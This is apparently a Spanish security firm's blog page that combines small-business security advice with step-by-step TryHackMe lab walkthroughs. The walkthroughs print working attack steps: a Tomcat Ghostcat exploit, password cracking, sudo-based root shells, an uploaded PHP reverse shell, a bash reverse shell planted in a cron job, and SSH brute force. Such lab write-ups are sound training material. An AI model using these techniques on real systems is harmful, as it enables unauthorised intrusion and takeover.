910 053 662 [email protected]
Los 6 vectores de ataque principales que sufre una PYME

Los 6 vectores de ataque principales que sufre una PYME

En este artículo, abordaremos los seis vectores de ataque principales a los que las PYMES están expuestas, y proporcionaremos información valiosa para ayudar a los propietarios de negocios a proteger sus redes y activos.

En el mundo actual, donde la tecnología es una parte esencial de nuestras vidas y de nuestros negocios, la seguridad de la información se ha convertido en una preocupación cada vez mayor. Las pequeñas y medianas empresas (PYMES) no son una excepción, ya que se han convertido en blancos atractivos para los ciberdelincuentes debido a su relativa falta de recursos y medidas de seguridad insuficientes.

Vectores De Ataque

Antes de sumergirnos en los detalles de los vectores de ataque, es importante comprender qué son y cómo pueden afectar a una PYME. Un vector de ataque se refiere a la forma en que un ciberdelincuente intenta infiltrarse en una red o sistema informático con el fin de obtener acceso no autorizado o causar daño. Estos vectores pueden variar en su complejidad y sofisticación, pero cada uno representa una amenaza significativa para la seguridad de una empresa.

Ahora, sin más preámbulos, vamos a explorar los seis principales vectores de ataque a una PYME:

Correo Electrónico

El correo electrónico se ha convertido en una herramienta indispensable en el entorno empresarial actual, pero también es uno de los principales vectores de ataque. Los ciberdelincuentes utilizan técnicas como el phishing, en el cual se hacen pasar por entidades legítimas para engañar a los empleados y obtener información confidencial, como contraseñas o datos bancarios. Es fundamental educar a los empleados sobre cómo identificar y evitar correos electrónicos fraudulentos, así como implementar soluciones de filtrado de correo y autenticación robustas.

Uso Inapropiado de Activos

El uso inapropiado de activos internos puede representar una amenaza significativa para la seguridad de una PYME. Los empleados pueden acceder a información confidencial o valiosa y utilizarla de manera indebida o incluso venderla a terceros. Para mitigar este riesgo, es esencial establecer políticas claras de seguridad de la información, restringir el acceso a los activos sensibles y capacitar regularmente a los empleados sobre la importancia de proteger la información de la empresa.

Vulnerabilidades Conocidas

Los sistemas y aplicaciones utilizados por las PYMES a menudo tienen vulnerabilidades conocidas que los ciberdelincuentes pueden aprovechar. Esto puede incluir software desactualizado, configuraciones predeterminadas inseguras o parches de seguridad no aplicados. Para mitigar este riesgo, es crucial mantener todos los sistemas y aplicaciones actualizados con los últimos parches de seguridad, así como implementar soluciones de escaneo de vulnerabilidades para identificar y solucionar posibles puntos débiles en la infraestructura de TI.

Pérdida o Robo de Activos

La pérdida o el robo físico de activos, como dispositivos móviles o laptops, puede tener graves consecuencias para una PYME. Estos dispositivos pueden contener información confidencial o datos sensibles que podrían ser explotados por ciberdelincuentes. Es fundamental implementar medidas de seguridad física, como el cifrado de datos, contraseñas de acceso y el seguimiento remoto de dispositivos, para minimizar el riesgo de pérdida o robo de activos.

Almacenamiento Externo

Muchas PYMES utilizan dispositivos de almacenamiento externo, como unidades USB o discos duros portátiles, para compartir y transportar información. Sin embargo, estos dispositivos también pueden ser una fuente de riesgo si se pierden o caen en manos equivocadas. Para protegerse, es necesario implementar políticas de uso de dispositivos externos, como la encriptación de datos y la restricción de acceso a dispositivos no autorizados.

Vectores Externos

Los vectores externos son aquellos que aprovechan las vulnerabilidades en la infraestructura externa de una PYME, como el sitio web o las conexiones de red. Los ciberdelincuentes pueden llevar a cabo ataques de inyección SQL, ataques de fuerza bruta o incluso intentos de comprometer servidores web. Para protegerse, es crucial implementar firewalls robustos, sistemas de detección y prevención de intrusiones, y realizar pruebas de penetración periódicas para identificar y remediar posibles puntos débiles.

Conclusión

En conclusión, las PYMES se enfrentan a una serie de vectores de ataque que pueden comprometer la seguridad de su red y activos. Sin embargo, con las medidas adecuadas de seguridad de la información y una conciencia constante, es posible mitigar estos riesgos. Recuerde educar a sus empleados sobre las mejores prácticas de seguridad, mantener todos los sistemas y aplicaciones actualizados, implementar políticas sólidas de uso de activos y dispositivos externos, y fortalecer su infraestructura con firewalls y sistemas de detección y prevención de intrusiones.

¿Por qué confiar en DCSeguridad?

En DCSeguridad, somos expertos en ciberseguridad y estamos comprometidos con la protección de las PYMES. Ofrecemos servicios integrales de seguridad de la información, desde auditorías de seguridad y consultoría hasta implementación de soluciones y gestión de incidentes. No deje la seguridad de su negocio al azar, póngase en contacto con nosotros hoy mismo para obtener más información sobre cómo podemos ayudarlo a proteger su empresa. Además, lo invitamos a unirse a nuestro canal de Telegram, donde compartimos consejos y actualizaciones de seguridad relevantes.

Proteja su negocio, proteja su futuro. En DCSeguridad, estamos aquí para ayudarlo.

8 consejos básicos de Ciberseguridad para estar mas seguro

8 consejos básicos de Ciberseguridad para estar mas seguro

En el mundo cibernético, estamos expuestos a numerosos peligros que pueden comprometer nuestra seguridad y la de nuestras empresas. Por eso, en este artículo, te presentamos 8 consejos básicos de ciberseguridad que te ayudarán a protegerte de amenazas y mantener tus datos a salvo. Implementar estas medidas es fundamental para garantizar la integridad de tus dispositivos y la confidencialidad de tu información. ¡Sigue leyendo para conocer más!

Consejos Básicos De Ciberseguridad

Protege todos tus dispositivos con antivirus

Contar con un antivirus instalado y actualizado en todos tus dispositivos es de vital importancia. Un antivirus eficiente actúa como una barrera contra diversos tipos de ataques, como malware, phishing, virus, ransomware, gusanos, troyanos y muchos otros. Es recomendable que los antivirus sean gestionados por personal cualificado y que utilices una consola centralizada para administrarlos y supervisar las alertas de manera diaria. Recuerda que no solo los ordenadores y servidores deben estar protegidos, sino también los dispositivos móviles.

Mantén tu información privada

Tu información personal y empresarial debe ser tratada con extremo cuidado. Evita compartir datos confidenciales con personas no autorizadas y asegúrate de establecer permisos de acceso adecuados para que solo las personas autorizadas puedan acceder a la información relevante. A nivel empresarial, aplicar la ley de mínimos privilegios es crucial para limitar el acceso de los usuarios a lo estrictamente necesario.

Haz un buen uso de contraseñas

Crear contraseñas seguras es fundamental para proteger tus cuentas y dispositivos. Una contraseña robusta debe tener al menos 12 caracteres e incluir letras mayúsculas, letras minúsculas, números y caracteres especiales como @$€:-)_<>). Las contraseñas débiles son más susceptibles a ataques de fuerza bruta, por lo que es vital utilizar contraseñas seguras. Además, te recomendamos seguir estas pautas adicionales:

  • Utiliza una contraseña única para cada servicio o plataforma.
  • Cambia tus contraseñas con regularidad.
  • Habilita la autenticación de doble factor siempre que sea posible.
  • Considera el uso de un gestor de contraseñas para almacenar y proteger todas tus contraseñas. Puedes encontrar herramientas confiables en línea para evaluar la fortaleza de tus contraseñas.

Mantente atento a los correos electrónicos

En la actualidad, muchos ciberataques se llevan a cabo mediante ataques de phishing, por lo que es esencial tener precaución al recibir correos electrónicos. Aquí te dejamos algunas recomendaciones:

  • No descargues archivos adjuntos de remitentes desconocidos.
  • Verifica cuidadosamente las direcciones de correo electrónico de los remitentes.
  • No abras correos electrónicos supuestamente enviados por entidades bancarias que soliciten cambios en tus credenciales. Los bancos generalmente no solicitan esto por correo electrónico.
  • No abras correos electrónicos si no estás esperando un paquete o una comunicación específica.
  • En caso de sospecha, reenvía el correo electrónico sospechoso al encargado de ciberseguridad para su revisión.

Cuidado al realizar compras en línea y al visitar sitios web

Cuando realizas compras en línea o visitas sitios web, es importante estar alerta y seguir algunas recomendaciones:

  • Ten precaución al realizar compras en línea y verifica que el sitio web sea legítimo.
  • No te dejes engañar por ofertas demasiado tentadoras o premios sospechosos en sitios web.
  • Asegúrate de que la página web tenga un certificado digital, lo cual indica que es segura para realizar transacciones.
  • Antes de proporcionar información personal o financiera en un sitio web, verifica que sea confiable y seguro.

Privacidad de navegadores y aplicaciones

Es esencial revisar los permisos que otorgas a las aplicaciones en tus dispositivos, ya que algunas pueden solicitar accesos innecesarios. Asegúrate de otorgar únicamente los permisos estrictamente necesarios para su funcionamiento adecuado. De la misma manera, verifica los permisos otorgados a los navegadores y elimina aquellos que no sean necesarios para proteger tu privacidad.

Presta atención a las direcciones web

Cuando accedas a un sitio web, verifica cuidadosamente la URL y asegúrate de que sea correcta. Los ciberdelincuentes suelen realizar cambios mínimos en las direcciones web para que parezcan legítimas. Incluso presta atención a los resultados de búsqueda y asegúrate de acceder a la URL verdadera en lugar de una URL modificada.

Cierra sesión en todos tus dispositivos

Recuerda siempre cerrar sesión en tus dispositivos, como ordenadores, smartphones y tablets. Dejar la sesión abierta puede ser una puerta abierta para los ciberdelincuentes y aumenta el riesgo de violación de datos. Al igual que cerrarías la puerta de tu coche al estacionarlo en la calle o la puerta de tu casa al salir, cerrar sesión es una medida básica pero esencial para proteger tu privacidad y seguridad.

Conclusión

La ciberseguridad es una preocupación creciente en el mundo digital, y seguir estos 8 consejos básicos puede marcar la diferencia en la protección de tus dispositivos y datos personales o empresariales. No subestimes la importancia de implementar medidas de seguridad sólidas y mantenerse alerta ante posibles amenazas. Recuerda que en DCSeguridad podemos ayudarte a implementar soluciones personalizadas de ciberseguridad para tu empresa. ¡No dudes en contactarnos para obtener más información y proteger tu entorno digital! También te invitamos a unirte a nuestro canal de Telegram hoy mismo.

Resolución Tomghost TryHackMe CTF Paso a Paso easy

Resolución Tomghost TryHackMe CTF Paso a Paso easy

¡Bienvenido al manual de Pentesting para principiantes en TomGhost TryHackMe! En esta guía, aprenderás los pasos básicos para realizar una prueba de penetración en la máquina TomGhost de la plataforma TryHackMe. A continuación, te explicaré los comandos y herramientas utilizadas en cada paso.

Paso 1: Comprobación de la conectividad

Para comenzar, es importante comprobar la conectividad con la máquina objetivo. Ejecuta el siguiente comando en tu terminal:

ping -c 1 <ipmaquina>

Este comando envía un paquete de solicitud de eco (ping) a la dirección IP de la máquina objetivo y espera una respuesta. Si recibes una respuesta exitosa, significa que tienes conectividad con la máquina.

Tomghost Tryhackme Ping

Paso 2: Escaneo de puertos básico

Realizaremos un escaneo de puertos básico utilizando la herramienta nmap. Ejecuta el siguiente comando:

nmap -p- <ipmaquina> -oN nmap_tomghost_nmap_basico

El comando nmap se utiliza para explorar los puertos abiertos en una máquina. En este caso, estamos escaneando todos los puertos disponibles en la máquina objetivo y guardando los resultados en el archivo «nmap_tomghost_nmap_basico».

Durante el escaneo, se identificaron los siguientes puertos abiertos y servicios correspondientes:

  • Puerto 22: Servicio SSH.
  • Puerto 53: Servicio DNS.
  • Puerto 8009: Desconocido.
  • Puerto 8080: Servicio HTTP.
Tomghost Nmap 1

Paso 3: Escaneo de puertos detallado

Ahora realizaremos un escaneo de puertos más detallado utilizando nmap. Ejecuta el siguiente comando:

nmap -p 22,53,8009,8080 -sCVS --min-rate 5000 -v -n <ipmaquina> -oN nmap_tomghost_completo

Este comando realiza un escaneo exhaustivo en los puertos específicos que hemos seleccionado y guarda los resultados en el archivo «nmap_tomghost_completo».

Durante el escaneo, se encontraron los siguientes servicios:

  • Puerto 22: OpenSSH 7.2p (Servicio SSH seguro).
  • Puerto 8080: Apache Tomcat 9.0.30 (Servidor de aplicaciones web).
Tomghost Tryhackme Nmap2

Paso 4: Búsqueda de vulnerabilidades en Apache Tomcat

En este paso, buscaremos vulnerabilidades conocidas en la versión de Apache Tomcat que hemos identificado (9.0.30). Para ello, clonaremos un repositorio de GitHub que contiene un exploit específico. Ejecuta el siguiente comando:

git clone https://github.com/dacade/CVE-2020-1938.git

Este comando clona el repositorio «CVE-2020-1938» desde GitHub. El exploit contenido en este repositorio nos ayudará a buscar vulnerabilidades en Apache Tomcat.

Paso 5: Preparación del exploit para su ejecución

Antes de ejecutar el exploit, debemos asegurarnos de que el archivo sea ejecutable. Utiliza el siguiente comando:

chmod u+x tomcat.py

Este comando otorga permisos de ejecución al archivo «tomcat.py», lo que nos permitirá ejecutarlo en el siguiente paso.

Tomghost Tryhackme Gitclone

Paso 6: Ejecución del exploit en Apache Tomcat

Ahora es el momento de ejecutar el exploit en Apache Tomcat utilizando el archivo «tomcat.py» que hemos preparado. Ejecuta el siguiente comando:

python3 tomcat.py <ipmaquina> -f /WEB-INF/web.xml -p 8009

En este comando, reemplaza <ipmaquina> con la dirección IP de la máquina objetivo. El exploit intentará aprovechar la vulnerabilidad en Apache Tomcat utilizando la ruta del archivo «/WEB-INF/web.xml» y el puerto «8009».

Durante la ejecución del exploit, se mostrarán posibles credenciales de acceso a la máquina.

Tomghost Tryhackme Exploit

Paso 7: Acceso por SSH utilizando las credenciales encontradas

Ahora que tenemos posibles credenciales de acceso, podemos intentar acceder a la máquina objetivo a través de SSH. Utiliza el siguiente comando:

ssh usuario@<ipmaquina>

Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo y proporciona la contraseña correspondiente cuando se solicite.

Una vez que hayas accedido a la máquina, podrás explorar el directorio y encontrar dos archivos: uno con extensión «.pgp» y otro con extensión «.asc». Descargaremos estos archivos para trabajar con ellos y descifrarlos.

Tomghost Tryhackme Ssh1

Paso 8: Creación de un servidor HTTP en la máquina objetivo

Para descargar los archivos desde la máquina objetivo, necesitamos configurar un servidor HTTP en la máquina objetivo. Ejecuta el siguiente comando:

python3 -m http.server

Este comando utiliza el módulo http.server de Python para crear un servidor HTTP en la máquina objetivo. Esto nos permitirá descargar archivos desde la máquina objetivo a nuestro equipo atacante.

Tomghost Tryhackme Httpserver

Paso 9: Descarga de archivos desde la máquina atacante

Ahora podemos descargar los archivos necesarios desde la máquina objetivo. Utiliza el siguiente comando:

wget <ipmaquina>:8000/archivos

Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo. Este comando utiliza la herramienta wget para descargar el directorio «archivos» desde el servidor HTTP en la máquina objetivo a tu equipo atacante.

Tomghost Tryhackme Wget

Paso 10: Desencriptación de archivos

Los archivos que hemos descargado están encriptados. Para desencriptarlos, seguiremos los siguientes pasos:

  1. Convierte el archivo «.asc» en un formato compatible con «John the Ripper» utilizando el siguiente comando:
   gpg2john tryhackme.asc > hash

Este comando convierte el archivo «tryhackme.asc» en un formato que puede ser utilizado por «John the Ripper» y guarda los resultados en el archivo «hash».

Tomghost Tryhackme Gpg2john
  1. Utiliza «John the Ripper» junto con un diccionario de contraseñas para intentar descifrar el archivo encriptado. Ejecuta el siguiente comando:
   john --wordlist=/ruta/diccionario hash

Asegúrate de reemplazar «/ruta/diccionario» con la ruta correcta de tu diccionario de contraseñas.

Tomghost Tryhackme John

Paso 11: Importación y desencriptación de archivos GPG

Una vez que hayas descifrado el archivo, importa la clave pública GPG desde el archivo «tryhackme.asc» a la lista de claves GPG utilizando el siguiente comando:

gpg --import tryhackme.asc

Luego, utiliza el siguiente comando para desencriptar el archivo «credential.pgp» utilizando la clave privada correspondiente:

gpg --decrypt credential.pgp
Tomghost Tryhackme Gpg

Paso 12: Acceso nuevamente por SSH con las nuevas credenciales

Ahora que tenemos las nuevas credenciales, podemos intentar acceder a la máquina objetivo nuevamente utilizando SSH. Ejecuta el siguiente comando:

ssh merlin@<ipmaquina>

Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo y proporciona la contraseña correspondiente cuando se solicite.

Tomghost Tryhackme Ssh2

Paso 13: Captura de la primera bandera

Una vez que hayas accedido a la máquina como usuario «merlin», puedes capturar la primera bandera ejecutando el siguiente comando:

cat user.txt

Este comando muestra el contenido del archivo «bandera1.txt», que contiene la primera bandera obtenida durante el acceso como usuario «merlin».

Paso 14: Escalada de privilegios

Para realizar una escalada de privilegios, ejecuta el siguiente comando para verificar los privilegios disponibles para el usuario actual:

sudo -l

Este comando muestra los privilegios disponibles para el usuario actual y verifica si se tiene permiso para ejecutar comandos con privilegios de root. En este caso, encontramos la siguiente línea: «(root : root) NOPASSWD: /usr/bin/zip».

Tomghost Tryhackme Sudo

Paso 15: Escalada de privilegios con «zip»

Ahora que hemos identificado una posible forma de escalada de privilegios utilizando «zip», podemos aprovecharla. Seguiremos los siguientes pasos:

  1. Visita la página https://gtfobins.github.io/gtfobins/zip/#sudo para obtener información sobre cómo utilizar «zip» para obtener privilegios de root.
  2. Utiliza el siguiente comando para ejecutar la escalada de privilegios:
   TF=$(mktemp -u)
   sudo zip $TF /etc/hosts -T -TT 'sh #'

Este comando utiliza la vulnerabilidad en la configuración de «sudoers» para ejecutar el comando «zip» con privilegios de root. Crea un archivo temporal único y utiliza «sudo zip» para comprimir el archivo «/etc/hosts» y ejecutar un shell interactivo («sh») con privilegios de root.

Tomghost Tryhackme Root

Paso 17: Captura de la última bandera

Una vez que hayas obtenido privilegios de root, puedes capturar la última bandera ejecutando el siguiente comando:

cat root.txt

Este comando muestra el contenido del archivo «root.txt», que contiene la última bandera obtenida como usuario root.

Resumen TomGhost TryHackMe

En resumen, hemos realizado un proceso de pentesting en la máquina «tomghost» de TryHackMe. Los pasos seguidos fueron los siguientes:

  1. Comprobación de la conectividad con la máquina objetivo.
  2. Escaneo de puertos básico utilizando Nmap.
  3. Escaneo de puertos detallado para obtener información adicional sobre los servicios.
  4. Búsqueda de vulnerabilidades en Apache Tomcat utilizando un exploit específico.
  5. Preparación y ejecución del exploit en Apache Tomcat.
  6. Acceso por SSH utilizando las credenciales obtenidas.
  7. Descarga de archivos desde la máquina objetivo.
  8. Desencriptación de archivos utilizando GPG.
  9. Acceso nuevamente por SSH con las nuevas credenciales.
  10. Captura de la primera bandera.
  11. Escalada de privilegios utilizando la vulnerabilidad en «sudoers» y el comando «zip».
  12. Captura de la última bandera como usuario root.

Esta experiencia nos permitió adquirir conocimientos sobre el proceso de pentesting, desde la exploración y escaneo de puertos hasta la escalada de privilegios en un entorno controlado.

Recomendación de DCSeguridad

¡Te invitamos a ponerte en contacto con DCSeguridad y unirte a nuestro canal de Telegram!

DCSeguridad es una empresa líder en servicios de seguridad informática y pentesting. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu infraestructura y aplicaciones contra amenazas cibernéticas.

Te animamos a ponerte en contacto con nosotros para obtener más información sobre cómo podemos asegurar tu empresa y brindarte soluciones personalizadas. Únete a nuestro canal de Telegram para recibir las últimas actualizaciones y consejos de seguridad.

No dejes que tu empresa sea vulnerable a ataques cibernéticos. Confía en DCSeguridad para fortalecer tu seguridad y proteger tus activos digitales.

¡Contáctanos hoy mismo y mantén tu negocio seguro en el mundo digital!

Resolución Tomghost TryHackMe CTF Paso a Paso easy

Startup TryHackMe easy resuelve paso a paso esta máquina

¡Bienvenido a este manual de pentesting para principiantes! En este manual, te guiaré a través de los pasos esenciales para realizar un pentesting en la máquina Startup TryHackMe utilizando las siguientes herramientas: nmap, gobuster y wireshark. A lo largo del manual, explicaré el propósito de cada herramienta y los comandos utilizados. ¡Comencemos!

Paso 1: Configuración inicial de Startup TryHackMe

Primeramente, crea un directorio de trabajo para almacenar todos los archivos relacionados con el pentesting. También, agrega la dirección IP de la máquina objetivo al archivo de hosts para facilitar el acceso.

Paso 2: Comprobación de disponibilidad

Antes de comenzar con el pentesting, realiza un ping a la máquina objetivo para verificar que esté activa y lista para ser analizada.

Startup Tryhackme Ping

Paso 3: Escaneo inicial de puertos

Realiza un escaneo sencillo de puertos utilizando la herramienta nmap. Ejecuta el siguiente comando:

nmap -p- ipmaquina -oN nmap_startup_inicial

Este comando te mostrará los puertos 21, 22 y 80 que están abiertos en la máquina objetivo. A continuación, explicaré brevemente para qué se utiliza cada uno de estos servicios:

  • 21: FTP (Protocolo de Transferencia de Archivos) – Permite la transferencia de archivos.
  • 22: SSH (Secure Shell) – Proporciona acceso seguro a la máquina a través de una conexión cifrada.
  • 80: HTTP (Protocolo de Transferencia de Hipertexto) – Utilizado para servir páginas web.
Startup Tryhackme Nmap1

Paso 4: Escaneo exhaustivo de puertos

Realiza un escaneo más exhaustivo de los puertos previamente identificados utilizando nmap. Ejecuta el siguiente comando:

nmap -p 21,22,80 -sCVS --min-rate 5000 -v -n ipmaquina -oN nmap_startup_completo

Este comando proporcionará información detallada sobre los servicios y las vulnerabilidades potenciales presentes en los puertos identificados. Donde podemos observar que está permitido el acceso anónimo y la carga al directorio ftp.

Startup Tryhackme Nmap2

Paso 5: Evaluación del acceso anónimo al FTP

Observaste que el acceso anónimo al FTP está permitido en la máquina objetivo. Realizaremos una evaluación más detallada descargando un archivo txt y un archivo jpg desde el FTP para su inspección. Utilizaremos el comando «get» para descargar los archivos, pero primero, debemos verificar si hay información interesante dentro de ellos.

Startup Tryhackme Ftp1

Paso 6: Inspección del sitio web con gobuster de Startup TryHackMe

Utilizaremos la herramienta gobuster para inspeccionar el sitio web en busca de directorios ocultos. Ejecuta el siguiente comando:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100 -q -u ipmaquina

Este comando buscará y mostrará los directorios y archivos ocultos presentes en el sitio web. Y aquí observamos que el directorio ftp al que podemos subir un archivo lo lista, por lo que podemos subir y ejecutar un php-reverse-shell.

Startup Tryhackme Gobuster

Paso 7: Acceso al FTP y carga de una shell reversa en Startup TryHackMe

Accedemos al FTP para proceder a realizar una PHP Reverse Shell. Creamos un archivo llamado shell.php con el contenido de este enlace, recuerda cambiar la ip y el puerto de escucha. Luego, accedemos nuevamente al FTP y utilizamos el comando «put shell.php» para subir el archivo shell.php al directorio FTP. Verificamos que el archivo se haya cargado correctamente en el directorio.

Startup Tryhackme Ftp2

Paso 8: Ganar acceso utilizando la shell reversa

Abrimos una ventana de comandos y ejecutamos el siguiente comando:

nc -nvlp 1234

Luego, desde nuestro navegador web, accedemos a http://ipmaquina/files/ftp/archivo.php para establecer el primer acceso utilizando la shell reversa. Aquí es donde obtenemos la primera bandera.

Startup Tryhackme Shell1

Paso 9: Configuración de un servidor HTTP en la máquina objetivo

Dentro de la máquina, revisando los archivos y carpetas, comprobamos que hay un archivo de wireshark que nos puede dar información. Montamos un servidor HTTP en la máquina objetivo ejecutando el siguiente comando:

python -m http.server

Esto nos permitirá descargar archivos desde la máquina atacante. También podemos copiar el archivo de Wireshark a la carpeta /ftp para descargarlo más tarde.

Startup Tryhackme Wireshark1

Paso 10: Descarga e inspección del archivo de Wireshark

Desde nuestra máquina atacante, ejecutamos el siguiente comando:

wget http://ipmaquinaatacada:8000/archivo

Esto descargará el archivo desde el servidor HTTP en la máquina objetivo. Luego, podemos inspeccionar el archivo utilizando Wireshark para analizar el tráfico de red. Podemos encontrar ataques con shell reversas que se encuentran en el puerto 4444. Al analizar los paquetes, encontramos una posible contraseña que podemos probar con el usuario descubierto en la carpeta home.

Startup Tryhackme Wireshark2

Paso 11: Acceso por SSH utilizando el usuario «lennie»

Accedemos por SSH a la máquina objetivo utilizando el usuario «lennie». Esto se puede hacer utilizando el comando «ssh usuario@ipmaquina». Navegando por los directorios, encontramos un archivo .sh que si lo inspeccionamos, llama a otro archivo .sh, al revisar los permisos, vemos que podemos editarlo para crear una shell reversa, lo abrimos y en la segunda linea añadimos lo siguiente: bash -i >& dev/tcp/ipvpn/443 0>&1. Guardamos los cambios y ejecutamos el comando «crontab -e» para configurar un cron que se ejecute cada minuto.

Stratup Tryhackme Bash

Paso 12: Obtención de acceso root

Agregamos la siguiente línea al archivo crontab:

* * * * * /bin/bash /etc/print.sh
Stratup Tryhackme Crontab

Abrimos una ventana de comandos y ejecutamos el siguiente comando:

nc -nvlp 443

Esperamos a obtener acceso root a través de la shell reversa. Una vez dentro, buscamos la última bandera y consideramos la máquina completamente hackeada.

Stratup Tryhackme Root

Resumen Startup TryHackMe

En resumen, hemos realizado un pentesting paso a paso utilizando diversas herramientas. Comenzamos con un escaneo inicial de puertos utilizando nmap y luego realizamos un escaneo más exhaustivo. Evaluamos el acceso anónimo al FTP y luego inspeccionamos el sitio web utilizando gobuster. Ganamos acceso a la máquina objetivo utilizando una shell reversa y analizamos el tráfico de red utilizando Wireshark. Posteriormente, obtuvimos acceso al usuario «lennie» y escalamos privilegios para obtener acceso root.

Confía en DCSeguridad

Si necesitas servicios de pentesting y seguridad informática, te recomendamos contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu negocio y garantizar la integridad de tus sistemas. Únete a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad. ¡Estamos aquí para ayudarte!

Resolución Tomghost TryHackMe CTF Paso a Paso easy

Resolución máquina Brooklyn TryHackMe paso a paso en Español

En este artículo, te guiaré a través de los pasos fundamentales para realizar un pentesting en la máquina Brooklyn TryHackMe. Este manual está especialmente diseñado para principiantes que se están iniciando en el mundo del pentesting. Aprenderás cómo realizar un escaneo de puertos, enumerar servicios, obtener acceso a un servidor FTP, realizar un ataque de diccionario y escalar privilegios. ¡Comencemos!

Paso 1: Preparación

Antes de empezar, asegúrate de tener un directorio de trabajo en tu máquina local para organizar los archivos relacionados con la máquina objetivo. Puedes crearlo utilizando el siguiente comando:

mkdir directorio_maquina

Además, para facilitar el acceso a la máquina objetivo, añadiremos su dirección IP al archivo hosts de tu sistema operativo. Abre el archivo con privilegios de administrador utilizando el siguiente comando:

sudo nano /etc/hosts

Agrega una nueva línea en el siguiente formato: <ip_maquina> nombre_maquina. Guarda y cierra el archivo.

Paso 2: Verificación de la Conexión

Para verificar la conectividad con la máquina objetivo, realizaremos un ping a su dirección IP. Utiliza el siguiente comando:

ping -c 1 <ip_maquina>

Verifica el TTL en la respuesta del ping, ya que nos proporcionará información sobre el sistema operativo de la máquina.

Brooklyn Ping

Paso 3: Escaneo Inicial de Puertos

Realizaremos un escaneo inicial de puertos abiertos en la máquina objetivo utilizando la herramienta Nmap. Ejecuta el siguiente comando:

nmap -p- <ip_maquina> -oN nmap_inicial

Este comando escaneará todos los puertos de la máquina y guardará los resultados en el archivo «nmap_inicial». Observa los puertos abiertos encontrados para continuar con el análisis.

Brooklin Tryhackme Nmap1

Paso 4: Escaneo Exhaustivo de Puertos

Realizaremos un escaneo más detallado de los puertos encontrados en el paso anterior utilizando Nmap. Ejecuta el siguiente comando:

nmap -p 21,22,80 -sC -sV --min-rate 5000 -v -n <ip_maquina> -oN nmap_completo

Este comando escaneará los puertos 21, 22 y 80 utilizando distintas técnicas de escaneo y enumeración de servicios. Los resultados se guardarán en el archivo «nmap_completo». Observa los servicios identificados en los puertos para obtener más información sobre ellos.

Brooklyn Tryhackme Nmap2

Paso 5: Acceso al Servidor FTP de Brooklyn TryHackMe

Accederemos al servidor FTP en la máquina objetivo utilizando el usuario anónimo y descargaremos un archivo a tu directorio de trabajo. Sigue estos pasos:

  1. Conéctate al servidor FTP utilizando el siguiente comando:
ftp <ip_maquina>
  1. Ingresa «anonymous» como nombre de usuario y presiona Enter (sin contraseña).
  2. Navega hasta el directorio donde se encuentra el archivo que deseas descargar.
  3. Utiliza el comando get archivo.txt para descargar el archivo al directorio local de tu máquina.
  4. Cierra la conexión FTP.

Paso 6: Ataque de Diccionario en el Servicio SSH

Analizaremos el contenido del archivo descargado en el paso anterior para obtener un posible nombre de usuario. Luego, realizaremos un ataque de diccionario en el servicio SSH utilizando la herramienta Hydra. Sigue estos pasos:

  1. Abre el archivo descargado utilizando el siguiente comando:
cat archivo.txt

Examina el contenido del archivo para encontrar un posible nombre de usuario (por ejemplo, «jake»).

  1. Ejecuta un ataque de diccionario utilizando Hydra. Utiliza el siguiente comando como ejemplo, pero asegúrate de reemplazar <ruta_diccionario> con la ubicación real del diccionario en tu máquina:
hydra -l jake -P <ruta_diccionario> <ip_maquina> ssh
Brooklyn Tryhackme Hydra

Paso 7: Escalada de Privilegios en Brooklyn TryHackMe

Realizaremos una escalada de privilegios utilizando el exploit «sudo-less» para el comando «less». Sigue estos pasos:

  1. Verifica los privilegios disponibles para tu usuario actual ejecutando el siguiente comando:
sudo -l
  1. Revisa el exploit «sudo-less» desde el siguiente enlace: https://github.com/Jbyford89/sudo-less-exploit
  2. Copia el archivo /etc/passwd a tu directorio de trabajo con el siguiente comando:
cp /etc/passwd privilege_escalation.txt
  1. Ejecuta el comando «less» con privilegios de sudo y carga el archivo /etc/passwd con el siguiente comando:
sudo less privilege_escalation.txt
  1. Dentro de «less», ingresa !/bin/sh y presiona Enter. Esto ejecutará una shell interactiva con privilegios de root.

Una vez que obtengas acceso de root, podrás buscar la segunda bandera y realizar cualquier otra actividad necesaria.

Brooklyn Tryhackme Escalada 1
Brooklin Tryhackme Escalada1
Brooklyn Tryhackme Root

Resumen Brooklyn TryHackMe

En este manual, hemos realizado los siguientes pasos de pentesting en la máquina Brooklyn de TryHackMe:

  1. Preparación del entorno, creando un directorio de trabajo y configurando el archivo hosts.
  2. Verificación de la conectividad con la máquina objetivo a través de un ping.
  3. Escaneo inicial de puertos utilizando Nmap.
  4. Escaneo exhaustivo de puertos utilizando Nmap y obtención de información sobre los servicios.
  5. Acceso al servidor FTP y descarga de un archivo.
  6. Análisis del archivo descargado y realización de un ataque de diccionario en el servicio SSH utilizando Hydra.
  7. Escalada de privilegios utilizando el exploit «sudo-less» para el comando «less».

Hemos tenido éxito en nuestro objetivo de realizar un pentesting básico en la máquina Brooklyn de TryHackMe. A través de estos pasos, hemos adquirido conocimientos sobre escaneo de puertos, enumeración de servicios, acceso a servicios y escalada de privilegios.

¡Contáctanos y Únete a Nuestro Canal de Telegram!

Si deseas más información sobre nuestros servicios de seguridad informática o tienes preguntas adicionales, te invitamos a contactar a DCSeguridad. Puedes visitar nuestro sitio web para obtener más detalles y unirte a nuestro canal de Telegram. Estaremos encantados de ayudarte y proporcionarte soporte en tus proyectos de seguridad.

Recuerda que el pentesting debe llevarse a cabo de manera ética y con el permiso del propietario del sistema objetivo.